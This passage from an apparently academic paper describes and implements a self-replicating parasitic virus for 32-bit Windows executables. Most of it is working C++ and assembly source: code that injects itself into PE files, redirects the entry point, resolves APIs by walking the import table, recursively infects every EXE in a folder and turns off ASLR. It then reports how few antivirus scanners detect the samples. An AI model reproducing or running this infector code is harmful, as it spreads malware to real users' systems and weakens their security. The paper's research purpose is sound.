In this section, we will explain the injection of our code into the rst host. The full code can be found in Appendix A. We will go over the most important parts here. First, we calculate the sizes of the different components of our viral code. (For more information, see gure 5.1.)

24

CHAPTER 5. IMPLEMENTATION

int main(int argc, char* argv[]) { ... // Work out stub size. // Our viral code contains: parameters, constants, assembly stub, C stub DWORD aStubSize = (DWORD)CStubStart - (DWORD)AStubStart; DWORD cStubSize = (DWORD)VCodeEnd - (DWORD)CStubStart; DWORD stubSize = (DWORD)VCodeEnd - (DWORD)AStubStart; // Not including parameters or constants DWORD totalSize = stubSize + sizeof(Parameters) + sizeof(Constants);

Next, we open the le we want to infect and use some functions of the Windows API to map the PE le structure. We also check whether the le is already infected. (We put a signature in the DOS header to signal this.) If so, we wont infect it a second time.
// Map file to infect. const char *fileName = target; hFile = CreateFile(fileName, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); ... fsize = GetFileSize(hFile, 0); ... hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL); ... hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize); ... if (pDosHeader->e_res[0] == 0x424a) { // File already infected. goto cleanup; } pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew); ...

10

15

We increase the le size by the size of our viral code, rounded up to be a multiple of the SectionAlignment in the PE header. If we dont do this correctly, the le will be corrupt and no longer work. After doing this, we need to re-map PE structure.
// Work out extra size needed in exe, rounded up to a multiple of alignment. DWORD alignment = pNtHeaders->OptionalHeader.SectionAlignment; DWORD alignedTotalSize = ((totalSize / alignment) + 1) * alignment;
5

10

// Reload file map and increase the fileSize by what we need to inject our code (respecting the SectionAlignment) // First, clean up old map. ... // Increase file size. fsize += alignedTotalSize; // Re-create map. hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize,

5.4. FIRST GENERATION


NULL); ... hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize); ...

25

15

We go to the header of the last section to increase the size elds and change the characteristics of the section, so it can be executed. We also increase the SizeOfImage in the PE header. If not done correctly, the le will be corrupt.
// Get first and last section. pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader-> e_lfanew + sizeof(IMAGE_NT_HEADERS)); pFirstSection = pSectionHeader; pLastSection = pFirstSection + (pNtHeaders->FileHeader.NumberOfSections - 1);
5

10

// Create a place for our viral thread and its parameters, by extending the last section. pLastSection->Misc.VirtualSize += totalSize; pLastSection->SizeOfRawData += alignedTotalSize; pLastSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE; pNtHeaders->OptionalHeader.SizeOfImage = pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize;

We copy the assembly stub into a buffer so we can modify its code. We replace the 0xCCCCCCCC placeholders with what will be the actual addresses in this target host. oepOffset is the offset in the assembly stub of the placeholder for the address of the original entry point (oep). parsOffset is the offset in the assembly stub of the placeholder for the address of the parameters structure. Our CStubStart takes a pointer to this structure as an argument. Because we know all sizes and offsets, our code can nd all required information relative to this address. saOffset is the offset in the assembly stub of the placeholder for the address of CStubStart (i.e. the start address, hence sa).
// Save original entry point. oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint; oep += pSectionHeader->PointerToRawData pSectionHeader->VirtualAddress; // Copy stub into a buffer. ... // Locate offsets of placeholders in assembly stub. ... // Fill in placeholders.

26
10

CHAPTER 5. IMPLEMENTATION

*(u_long *)(aStub + oepOffset) = pNtHeaders->OptionalHeader.ImageBase + oepRva; *(u_long *)(aStub + parsOffset) = pNtHeaders->OptionalHeader.ImageBase + pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize totalSize; *(u_long *)(aStub + saOffset) = pNtHeaders->OptionalHeader.ImageBase + pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize totalSize + sizeof(Parameters) + sizeof(Constants) + aStubSize;

We create the constants structure for the rst time and ll in all elds. The SetLLAndGPA function (described in section 5.4.1) will ll in the parameters structure.
// Create constants and parameters. Constants consts; // Fill in sizes. ... // Fill in offsets of placeholders. ... // Fill in strings. ... // Offsets of functions. consts.offsetCStubStart = sizeof(Parameters) + sizeof(Constants) + aStubSize; consts.offsetThreadStart = (DWORD)ThreadStart - (DWORD)CStubStart; consts.offsetInjectDir = (DWORD)injectDir - (DWORD)CStubStart; Parameters pars; // Addresses/offsets of library functions. // Fill in the base address and offsets to LoadLibraryA and GetProcAddress. // This way, we can use those functions even if they are not originally imported by the host program. setLLAndGPA(&pars, hMap, pNtHeaders, pFirstSection);

10

15

Finally, we append our viral code to the target. We write it piece by piece: Parameters, Constants, assembly stub, C code. Note that we write the assembly stub from the buffer, where the placeholders have been replaced. We also make the AddressOfEntryPoint point to the start of our assembly stub and place our signature in the DOS header.
// Write our code to the last section. PBYTE startInjectedCode = (PBYTE)hMap + pLastSection->PointerToRawData + pLastSection->Misc.VirtualSize - totalSize; memcpy(startInjectedCode, &pars, sizeof(Parameters)); memcpy(startInjectedCode + sizeof(Parameters), &consts, sizeof(Constants)); memcpy(startInjectedCode + sizeof(Parameters) + sizeof(Constants), aStub, aStubSize); memcpy(startInjectedCode + sizeof(Parameters) + sizeof(Constants) + aStubSize, CStubStart, cStubSize); // Set new entrypoint. pNtHeaders->OptionalHeader.AddressOfEntryPoint = pLastSection-> VirtualAddress + pLastSection->Misc.VirtualSize - totalSize + sizeof (Parameters) + sizeof(Constants);

10

5.4. FIRST GENERATION


// Write our signature pDosHeader->e_res[0] = (DWORD)0x424a; // Clean up. ... }

27

15

5.4.1

setLLAndGPA

[1] replaced the MessageBox placeholder by an address obtained via GetProcAddress at the time of injction. This address however is not guaranteed to remain the same if the computer should reboot. To solve this problem, we want to load all required API functions dynamically at runtime. To do this, we need access to LoadLibrary and GetProcAddress from Kernel32.dll, but not all programs will import those. One solution would be to use LdrLoadDll and LdrGetProcedureAddress from ntdll.lib which can be linked at compile time[7]. Another solution is to perform memory walking in Kernel32.dll, using some known address as a base and try to nd the required functions relative to that base. We chose the second solution: the setLLAndGPA function, used in the previous section, will walk over the Import Address Table of the target host and look for the rst function that is imported from Kernel32.dll. It will store its name and RVA in the PE le. The value at this RVA will at runtime contain the address of this function. We will determine the relative addresses of LoadLibrary and GetProcAddress with respect to this function. The found RVA and the two offsets will be stored in the Parameters structure.
bool setLLAndGPA(Parameters *pars, LPBYTE hMap, IMAGE_NT_HEADERS * pNtHeaders, IMAGE_SECTION_HEADER *pFirstSection) { // Load libraries HMODULE hUser32 = LoadLibrary("User32.dll"); HMODULE hKernel32 = LoadLibrary("Kernel32.dll"); ... // Read imports PIMAGE_IMPORT_DESCRIPTOR pImports = (PIMAGE_IMPORT_DESCRIPTOR)( (DWORD)hMap + Rva2Offset( pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, pFirstSection, pNtHeaders->FileHeader.NumberOfSections)); // Look at the import address table of the host DWORD baseFuncRVA; char* baseFuncName; while (pImports->Name) { char* s = (char*)((DWORD)hMap + Rva2Offset(pImports->Name, pFirstSection, pNtHeaders->FileHeader.NumberOfSections)); DWORD pImageThunk = pImports->OriginalFirstThunk ? pImports-> OriginalFirstThunk : pImports->FirstThunk; PIMAGE_THUNK_DATA itd = (PIMAGE_THUNK_DATA)( (DWORD)hMap +

10

15

20

28

CHAPTER 5. IMPLEMENTATION
Rva2Offset(pImageThunk, pFirstSection, pNtHeaders->FileHeader.NumberOfSections)); pImageThunk = pImports->FirstThunk; while (itd->u1.AddressOfData) { PIMAGE_IMPORT_BY_NAME name_import = (IMAGE_IMPORT_BY_NAME*)( (DWORD)hMap + Rva2Offset((DWORD)itd->u1.AddressOfData, pFirstSection, pNtHeaders->FileHeader.NumberOfSections)); // Get a any (first) imported function from Kernel32.dll if(!stricmp(s, "kernel32.dll")) { baseFuncRVA = pNtHeaders->OptionalHeader.ImageBase + pImageThunk; baseFuncName = (char*)name_import->Name; break; } itd++; pImageThunk += sizeof(DWORD); } pImports++;

25

30

35

40

45

} // Set parameters DWORD addressBaseFunc = (DWORD)GetProcAddress(hKernel32, baseFuncName); pars->baseFunctionRVAinIAT = baseFuncRVA; pars->walkOffsetLL = (DWORD)GetProcAddress(hKernel32, "LoadLibraryA") addressBaseFunc; pars->walkOffsetGPA = (DWORD)GetProcAddress(hKernel32, "GetProcAddress") - addressBaseFunc; // Free libraries and return ... }

5.4.2

AStubStart

Our assembly stub will simply push the address of our Parameters on the stack and call CStubStart. When this function returns, the assembly stub will return to the original entry point, passing control to the original host program. As explained in the previous sections, this function contains three placeholders.
__declspec(naked) void AStubStart() { __asm{ pushad // Preserve all registers
5

push 0xCCCCCCCC // parameters: pointer to Parameters, passed to CStubStart mov eax, 0xCCCCCCCC // sa: address at which CStubStart can be found call eax // Call CStubStart popad push 0xCCCCCCCC retn } } // Restore registers // Push address of original entry point // retn used as jmp

10

5.4. FIRST GENERATION

29

5.4.3

CStubStart

This function receives a pointer to the parameter structure. Since the exact size of this structure is known, the function can use this information to also obtain pointers to the Constants structure and itself. From its own address and the offset stored in the Constants, it can calculate the address of ThreadStart.
void CStubStart(Parameters *pars) { Constants *consts = (Constants*)((DWORD)pars + sizeof(Parameters)); DWORD addrOfSelf = (DWORD)pars + consts->offsetCStubStart; DWORD addrOfThreadStart = addrOfSelf + consts->offsetThreadStart;

Now, we load LoadLibrary and GetProcAddress, with the information in the Parameters. We use these functions to load the MessageBox function from User32.dll and CreateThread from Kernel32.dll. We show a messagebox with our greeting and start our viral code in a new thread.
LoadLibraryFun loadLibraryF = (LoadLibraryFun)( *(DWORD*)pars->baseFunctionRVAinIAT + pars->walkOffsetLL); GetProcAddressFun getProcAddressF = (GetProcAddressFun)( *(DWORD*)pars->baseFunctionRVAinIAT + pars->walkOffsetGPA);
5

10

HMODULE user32 = loadLibraryF(consts->user32dll); HMODULE kernel32 = loadLibraryF(consts->kernel32dll); MessageBoxFun msgBoxAF = (MessageBoxFun)getProcAddressF(user32, consts->messageboxa); CreateThreadFun createThreadF = (CreateThreadFun)getProcAddressF( kernel32, consts->createthread); msgBoxAF(NULL, consts->text, consts->caption, consts->buttons);

15

createThreadF(NULL, 0, (LPTHREAD_START_ROUTINE)addrOfThreadStart, pars, 0, NULL); return; }

5.4.4

ThreadStart

In our thread, we create a structure that contains the addresses of the functions we need. As before in CStubStart, we load all these addresses dynamically. Next, we call infectDir. This is a recursive function which will go through a target directory (consts->targetPath, e.g. C:\Windows), infecting all EXE les it nds.
DWORD ThreadStart(LPVOID parsVoid) { Parameters *pars = (Parameters*)parsVoid; Constants *consts = (Constants*)((DWORD)pars + sizeof(Parameters));
5

LoadLibraryFun loadLibraryF = (LoadLibraryFun)( *(DWORD*)pars->baseFunctionRVAinIAT + pars->walkOffsetLL); GetProcAddressFun getProcAddressF = (GetProcAddressFun)( *(DWORD*)pars->baseFunctionRVAinIAT + pars->walkOffsetGPA);

30

CHAPTER 5. IMPLEMENTATION

10

HMODULE user32 = loadLibraryF(consts->user32dll); HMODULE kernel32 = loadLibraryF(consts->kernel32dll); Functions f; f.MessageBox = (MessageBoxFun)getProcAddressF(user32, consts->messageboxa); ... f.FindFirstFile = (FindFirstFileFun)getProcAddressF(kernel32, consts->findfirstfile); f.FindNextFile = (FindNextFileFun)getProcAddressF(kernel32, consts->findnextfile); DWORD addrOfCStub = (DWORD)pars + consts->offsetCStubStart; DWORD addrOfInfectDir = addrOfCStub + consts->offsetInfectDir; infectDirFun infectDirF = (infectDirFun)addrOfInfectDir; infectDirF(consts->targetPath, addrOfInfectDir, pars, consts, &f); return 0; }

15

20

25

5.5

Next generations

To make sure that infected programs can again infect others, the injection code itself should also be injected. The infectDir function, described previously, will call infectEXE. This is an inline function that is very similar to the main function of the rst generation. The differences are that all calls to API functions are replaced by function pointers, all constant strings are looked up in the Constants and the code can be copied in one piece from the infecting host to the new target.

5.6

Disinfection

Because the infection procedure is deterministic it can easily be reversed, resulting in the following disinfection procedure: nd the original EntryPoint of the host in the viral code overwrite the viral code with zeros restore the size elds in the header of the last section restore the original EntryPoint in the OptionalHeader remove our signature from the DOS header restore the original le size The code to do this is given in Appendix B.

5.7. SUMMARY

31

5.7

Summary

To summarize all the above, the injected C code should: Contain no explicit function calls: we store their names in the Constants and load them dynamically at runtime, and can then call them using function pointers. Contain no constant strings: put those in the Constants. Use inline function expansion as much as possible. If inlining is not possible, nd the relative offset of the function with respect to CStubStart and put this offset in the Constants (as we did for infectDir). Note: compiler specic functions like memcpy, strcpy, malloc, free, etc. will not work when they are injected so it is necessary to use a Windows API equivalent or write your own implementation.

Chapter 6

Tests and Results


During the development of our virus, we continuously tested if each addition still worked. In this chapter we show the nal result of our virus.

6.1

Viral replication

Figure 6.1a shows the original host application we chose to infect with our rst generation virus. It has a le size of 66kB.

(a) before infection

(b) after infection

Figure 6.1: Filesize (a) before (b) after infection After running our infection program, we can already see that the le size has 32

6.1. VIRAL REPLICATION

33

increased to 70kB (gure 6.1b). Furthermore we can analyze the PE structure and see that our signature is now present in the DOS header (gure 6.2a).

(a) DOS header with our signature

(b) Last section, containing our constant strings

Figure 6.2: Infected le, containing (a) our signature and (b) our constant strings If we take a look in the last section, we can see that our code is indeed injected. The Constants structure is very easy to nd because it contains our constant strings (gure 6.2b). When we run the infected application, a message box with our greeting appears (gure 6.3) to indicate that this le is indeed infected. When we click it away, the original host program will start and on the background our infection thread will run. If we take a look at our infection target folder, we can already see that the instance of PEview.exe now also has a lesize of 70kB (g. 6.4). This le is now infected with a second generation of our virus and it also has the capability to spread the virus. This is the case for every executable that was present in this folder and all subfolders so to show this we would need to put some uninfected executables in the folder again. Next, we can execute one of the programs that

34

CHAPTER 6. TESTS AND RESULTS

Figure 6.3: Greeting of our virus

is infected with our second generation virus. The result will be that again every EXE in the target folder will be infected. No les will get infected more than once because our virus looks for our signature in the DOS header and will not infect les that already have this signature. This demonstrates the replication ability of our virus.

Figure 6.4: Next generation virus

6.2. INFECTION CAPABILITY

35

6.2

Infection capability

We tested our virus on a 32 bit Windows 7 computer. 64 bit PE les have a similar structure, but might not be handled correctly by our virus because of the larger address sizes in those les. We havent tested this. Another type of exe les that cant be infected by our virus are .NET executables: they dont import any functions from kernel32.dll so our virus will not be able to nd the addresses of the API functions it needs. We added some extra checks in our nal injection code to ensure that these les remain untouched in order to not corrupt them. During our tests we noticed that some applications crashed after being infected by our virus. By analyzing those les more closely we noticed that they make use of Address Space Layout Randomization (ASLR)[18]. The cmd.exe program in the Windows/System32 folder is an example of such an application. We were able to circumvent this process by simply putting the ag in the OptionalHeader that enables this to zero. This seems to work ne at rst sight, but it may also make the host application vulnerable to memory based exploits like buffer overow because we disabled the ASLR security feature.

6.3

Anti-virus

Although we didnt care much about being stealthy, we were interested if our virus would be detected by anti-virus software. The computer on which we tested our virus uses Lavasoft Ad-Aware and BitDefender. Installing more anti-virus programs is hard because most of them complain if they are not the only one. After some searching we found a website called VirusTotal (www.virustotal.com) which is a subsidiary of Google. They allow you to upload a le and they run it through several malware scanners. We infected 4 different programs with our virus and asked VirusTotal to scan them. The result is that our virus gets detected by 7 out of 46, 4 out of 45, 7 out of 46 and 5 out of 45 scanners. (We suspect that the number of scanners used varies depending on the server load at that time.) This is on average a detection in 12.6% of the scanners. On the one hand it is normal that many scanners dont detect our virus because it is unknown to them. The scanners need to rely on heuristics, as explained in section 2.2.2. On the other hand it is somewhat alarming that these heuristic scanners of so many anti-virus programs are so poor. It is however important to note that virus total uses the scan functionality of these programs. They may still be able to detect the suspicious behavior of our virus at runtime.

36

CHAPTER 6. TESTS AND RESULTS

Used scanners
The different scanners that were used by VirusTotal are listed below. The number of stars behind each name indicates in how many of the provided samples the scanner detected our virus. Only one of them was able to consistently detect it! 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. Agnitum AhnLab-V3 AntiVir*** Antiy-AVL Avast AVG BitDefender* ByteHero CAT-QuickHeal* ClamAV Commtouch Comodo* DrWeb Emsisoft* eSafe ESET-NOD32*** 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. F-Prot F-Secure* Fortinet GData* Ikarus Jiangmin K7AntiVirus Kaspersky* Kingsoft Malwarebytes McAfee** McAfee-GWEdition**** 29. Microsoft 30. MicroWorld-eScan 31. NANO-Antivirus 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. Norman nProtect Panda PCTools Rising Sophos SUPERAntiSpyware Symantec TheHacker TotalDefense TrendMicro* TrendMicroHouseCall* 44. VBA32 45. VIPRE** 46. ViRobot

When we re-uploaded one of the samples one week later, we noticed that more scanners were able to detect our virus: the detection ratio for this sample went from 4/45 to 13/46. This indicates that the virus scanners have learned about our virus. VirusTotal states that a submitted sample is freely sent to all vendors of scanners that did not detect anything if at least one other did.

Chapter 7

Conclusion
In this paper, we explained and showed how a C++ program could be injected into another Portable Executable. We used this technique to write a self-replicating parasitic virus, targeting 32 bit Windows computers. Since our virus is only intended as an academic example, we conned the infection process to a single directory and didnt include any malicious payload. It is however not that hard to use the framework we provide for such purposes. We thoroughly tested the resulting virus and examined its infection capability by infecting different host applications. We also looked at how stealthy our virus is by having it analyzed by multiple anti-virus programs, showing that they perform quite bad against a new virus. We did no effort at all to hide our virus, but most of them failed to recognize it anyway. Note that there is also a much easier method to inject your own code into another executable: the viral code can simply be written like a regular C program and be compiled into a DLL. The injected code can then dynamically load this DLL and execute its exported functions[2]. This way, the total amount of injected code will be much smaller and the viral code in the DLL doesnt need to be written specically to be injected, i.e. using inline function expansion, relative addressing, Constants structure, etc. The disadvantage is that this is more conspicuous and can be easily countered by just nding and removing the injected DLL.

37

Appendix A

Infection code
This is the full source code of our rst generation infection program. This program opens a le and injects our entire viral code. After infection, when this program is executed it will show a messagebox and then run the original program. In a seperate thread, all EXE les in the target directory will also be infected. The names of the rst le to be infected and the target directory are hardcoded as PEview.exe and C:\test respectively, but this can easily be changed if required. Make sure that the compiler is congured as described in 5.2.
#include <Windows.h> #include <iostream> #include <strsafe.h>
5

#pragma region Type Declarations struct Parameters; struct Constants; struct Functions; // Function types. // Windows API functions. typedef int (WINAPI *MessageBoxFun)(HWND, LPCSTR, LPCSTR, UINT); typedef HMODULE (WINAPI *LoadLibraryFun)(LPCSTR); typedef FARPROC (WINAPI *GetProcAddressFun)(HMODULE, LPCSTR); typedef HANDLE (WINAPI *CreateThreadFun)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef HANDLE (WINAPI *CreateFileFun)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); typedef DWORD (WINAPI *GetFileSizeFun)(HANDLE, LPDWORD); typedef HANDLE (WINAPI *CreateFileMappingFun)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR); typedef LPVOID (WINAPI *MapViewOfFileFun)(HANDLE, DWORD, DWORD, DWORD, SIZE_T); typedef BOOL (WINAPI *FlushViewOfFileFun)(LPCVOID, SIZE_T); typedef BOOL (WINAPI *UnmapViewOfFileFun)(LPCVOID); typedef DWORD (WINAPI *SetFilePointerFun)(HANDLE, LONG, PLONG, DWORD); typedef BOOL (WINAPI *SetEndOfFileFun)(HANDLE); typedef BOOL (WINAPI *CloseHandleFun)(HANDLE);

10

15

20

38

39
typedef BOOL (WINAPI *FreeLibraryFun)(HMODULE); typedef HANDLE (WINAPI *FindFirstFileFun)(LPCSTR, LPWIN32_FIND_DATA); typedef BOOL (WINAPI *FindNextFileFun)(HANDLE, LPWIN32_FIND_DATA); // Our own functions. typedef DWORD (*ThreadStartFun)(LPVOID); typedef void (*infectDirFun)(LPCSTR, DWORD, Parameters*, Constants*, Functions*); #define STR_MAX_LENGTH 512 // Parameters included in viral code. struct Parameters { // Offsets of library functions. // Relative Virtual Address of base function in Import Address Table. // At this location, we will find a pointer to the base function. DWORD baseFunctionRVAinIAT; // Offsets of library functions to base function. DWORD walkOffsetLL, walkOffsetGPA; DWORD baseFunctionRVAinIAT2; // Offsets of library functions to base function. DWORD walkOffsetLL2, walkOffsetGPA2; }; // Constants included in viral code. struct Constants { // Sizes. DWORD aStubSize, cStubSize, stubSize, totalSize;
50

25

30

35

40

45

// Offsets of placeholders in assembly stub. DWORD parsOffset, saOffset, oepOffset; // Offsets of our own functions. // Offset between CStubStart and parameters. // = sizeof(Parameters) + size of AStub. DWORD offsetCStubStart; // Offset between CStubStart and ThreadStart. // = address of ThreadStart - address of CStubStart. DWORD offsetThreadStart; DWORD offsetInfectDir; // Strings. char user32dll[50]; char kernel32dll[50]; char createthread[50]; char createfilea[50]; char getfilesize[50]; char createfilemappinga[50]; char mapviewoffile[50]; char copymemory[50]; char flushviewoffile[50]; char unmapviewoffile[50]; char setfilepointer[50]; char setendoffile[50]; char closehandle[50]; char loadlibrarya[50]; char getprocaddress[50];

55

60

65

70

75

40
char freelibrary[50]; char messageboxa[50]; char findfirstfile[50]; char findnextfile[50]; char text[50]; char caption[50]; int buttons; char targetPath[50]; };

APPENDIX A. INFECTION CODE

80

85

90

95

100

105

// Functions used in the injection code. struct Functions { CreateThreadFun CreateThread; CreateFileFun CreateFile; GetFileSizeFun GetFileSize; CreateFileMappingFun CreateFileMapping; MapViewOfFileFun MapViewOfFile; FlushViewOfFileFun FlushViewOfFile; UnmapViewOfFileFun UnmapViewOfFile; SetFilePointerFun SetFilePointer; SetEndOfFileFun SetEndOfFile; CloseHandleFun CloseHandle; LoadLibraryFun LoadLibrary; GetProcAddressFun GetProcAddress; FreeLibraryFun FreeLibrary; MessageBoxFun MessageBox; FindFirstFileFun FindFirstFile; FindNextFileFun FindNextFile; }; #pragma endregion

110

#pragma region Helper Functions // Helper functions. // These are FORCEINLINE, which means we dont have to copy them separately, as they will be inlined. // Source: http://www.danielvik.com/2010/02/fast-memcpy-in-c.html FORCEINLINE void* MemoryCopy(void *dest, const void *src, size_t count) { char *dst8 = (char*)dest; char *src8 = (char*)src; while (count--) { *dst8++ = *src8++; }
125

115

120

return dest; } // String methods FORCEINLINE int OurStringLength(const char *s){ int res = 0; char *sc = (char*)s; while(*sc != 0){

130

41
sc++; res++; } return res; }
140

135

FORCEINLINE void StrCopy(char *dest, const char *source){ //MemoryCopy(dest,source,OurStringLength(source)+1); char *d = dest; const char *s = source; while(*s != 0){ *d++ = *s++; } *d = 0; }

145

150

155

160

FORCEINLINE void StrConcat(char *dest, const char *source){ int L = OurStringLength(dest); char *d = dest; const char *s = source; d += L; while(*s != 0){ *d = *s; d++; s++; } *d = 0; }

165

170

FORCEINLINE void StringToLower(char *s) { for (; *s; s++) { if (*s >= A && *s <= Z) { *s = *s - (A - a); } } } FORCEINLINE bool StringEqualI(const char *s1, const char *s2) { char *s1_ = (char*)s1; char *s2_ = (char*)s2; StringToLower(s1_); StringToLower(s2_); while (*s1_ == *s2_) { if (*s1_ == \0 || *s2_ == \0) return true; s1_++; s2_++; } return false;

175

180

185

} // Returns true iff str ends with suffix. // Source: http://stackoverflow.com/a/7718223 FORCEINLINE int endsWith(const char *str, const char *suffix) {

42
190

APPENDIX A. INFECTION CODE

if(str == NULL || suffix == NULL) return 0; size_t strLen = OurStringLength(str); size_t suffixLen = OurStringLength(suffix);

195

if(suffixLen > strLen) return 0; return StringEqualI(str + strLen - suffixLen, suffix);


200

} // Convert (absolute) address in file to virtual address. FORCEINLINE DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders) { PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD) pNtHeaders + sizeof(IMAGE_NT_HEADERS)); for(WORD wSections = 0; wSections < pNtHeaders->FileHeader. NumberOfSections; wSections++) { if(dwFileAddr >= lpSecHdr->PointerToRawData) { if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr-> SizeOfRawData)) { dwFileAddr -= lpSecHdr->PointerToRawData; dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr-> VirtualAddress); return dwFileAddr; } } lpSecHdr++;

205

210

215

} return NULL; }

220

225

// Convert Relative Virtual Adress to offset within section. FORCEINLINE DWORD Rva2Offset(DWORD dwRva, PIMAGE_SECTION_HEADER dwSectionRva, USHORT uNumberOfSections) { for (USHORT i=0; i<uNumberOfSections; i++) { if (dwRva >= dwSectionRva->VirtualAddress) if (dwRva < dwSectionRva->VirtualAddress + dwSectionRva->Misc. VirtualSize) return (DWORD)(dwRva - dwSectionRva->VirtualAddress + dwSectionRva ->PointerToRawData) ; dwSectionRva++; } return (DWORD)-1; } // In pars, set baseFunctionRVAinIAT, walkOffsetLL and walkOffsetGPA. FORCEINLINE bool setLLAndGPA(Parameters *pars, Constants *consts, LPBYTE hMap, IMAGE_NT_HEADERS *pNtHeaders, IMAGE_SECTION_HEADER * pFirstSection) { // Load libraries. HMODULE hUser32 = LoadLibrary("User32.dll"); HMODULE hKernel32 = LoadLibrary("Kernel32.dll");

230

235

43
if(!hUser32 || !hKernel32) { printf("[-] Could not load User32.dll or Kernel32.dll"); return false; }
240

// Read imports. PIMAGE_IMPORT_DESCRIPTOR pImports = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD) hMap + Rva2Offset(pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, pFirstSection, pNtHeaders->FileHeader.NumberOfSections)); // Look at the import address table of the host. DWORD baseFuncRVA; char* baseFuncName = NULL; while(pImports->Name) { char* s = (char*)((DWORD)hMap + Rva2Offset(pImports->Name, pFirstSection, pNtHeaders->FileHeader.NumberOfSections)); printf("DLL: %s\n",s); DWORD pImageThunk = pImports->OriginalFirstThunk ? pImports-> OriginalFirstThunk : pImports->FirstThunk; PIMAGE_THUNK_DATA itd = (PIMAGE_THUNK_DATA)((DWORD)hMap + Rva2Offset( pImageThunk, pFirstSection, pNtHeaders->FileHeader. NumberOfSections)); pImageThunk = pImports->FirstThunk; while(itd->u1.AddressOfData) { PIMAGE_IMPORT_BY_NAME name_import = (IMAGE_IMPORT_BY_NAME*)((DWORD) hMap + Rva2Offset((DWORD)itd->u1.AddressOfData, pFirstSection, pNtHeaders->FileHeader.NumberOfSections)); // Get a any (first) imported function from kernel32.dll if(!stricmp( s, "kernel32.dll")) { baseFuncRVA = pNtHeaders->OptionalHeader.ImageBase + pImageThunk; baseFuncName = (char*)name_import->Name; break; } itd++; pImageThunk += sizeof(DWORD); } pImports++; } if(baseFuncName != NULL) // if we didnt find an import from kernel32. dll (e.g. for .NET executables), dont infect the file printf("Using %ss function address to find LoadLibraryA and GetProcAddress\n", baseFuncName); else return false; // Set parameters. DWORD addressBaseFunc = (DWORD)GetProcAddress(hKernel32, baseFuncName); pars->baseFunctionRVAinIAT = baseFuncRVA; pars->walkOffsetLL = (DWORD)GetProcAddress(hKernel32, "LoadLibraryA") addressBaseFunc; pars->walkOffsetGPA = (DWORD)GetProcAddress(hKernel32, "GetProcAddress") - addressBaseFunc; // Free libraries.

245

250

255

260

265

270

275

44
FreeLibrary(hUser32); FreeLibrary(hKernel32); return true; }
285

APPENDIX A. INFECTION CODE

280

290

// In pars, set baseFunctionRVAinIAT, walkOffsetLL and walkOffsetGPA. FORCEINLINE bool setLLAndGPA2(Functions *f, Parameters *pars, Constants * consts, LPBYTE hMap, IMAGE_NT_HEADERS *pNtHeaders, IMAGE_SECTION_HEADER *pFirstSection) { // Load libraries. HMODULE hUser32 = f->LoadLibrary(consts->user32dll); HMODULE hKernel32 = f->LoadLibrary(consts->kernel32dll); if(!hUser32 || !hKernel32) { return false; } // Read imports. PIMAGE_IMPORT_DESCRIPTOR pImports = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD) hMap + Rva2Offset(pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, pFirstSection, pNtHeaders->FileHeader.NumberOfSections)); // Look at the import address table of the host. DWORD baseFuncRVA; char* baseFuncName = NULL; while(pImports->Name) { char* s = (char*)((DWORD)hMap + Rva2Offset(pImports->Name, pFirstSection, pNtHeaders->FileHeader.NumberOfSections)); DWORD pImageThunk = pImports->OriginalFirstThunk ? pImports-> OriginalFirstThunk : pImports->FirstThunk; PIMAGE_THUNK_DATA itd = (PIMAGE_THUNK_DATA)((DWORD)hMap + Rva2Offset( pImageThunk, pFirstSection, pNtHeaders->FileHeader. NumberOfSections)); pImageThunk = pImports->FirstThunk; while(itd->u1.AddressOfData) { PIMAGE_IMPORT_BY_NAME name_import = (IMAGE_IMPORT_BY_NAME*)((DWORD) hMap + Rva2Offset((DWORD)itd->u1.AddressOfData, pFirstSection, pNtHeaders->FileHeader.NumberOfSections)); // Get a any (first) imported function from kernel32.dll if(StringEqualI( s, consts->kernel32dll)) { baseFuncRVA = pNtHeaders->OptionalHeader.ImageBase + pImageThunk; baseFuncName = (char*)name_import->Name; break; } itd++; pImageThunk += sizeof(DWORD); } pImports++; }

295

300

305

310

315

320

if(baseFuncName == NULL) // if we didnt find an import from kernel32. dll (e.g. for .NET executables), dont infect the file return false;

45
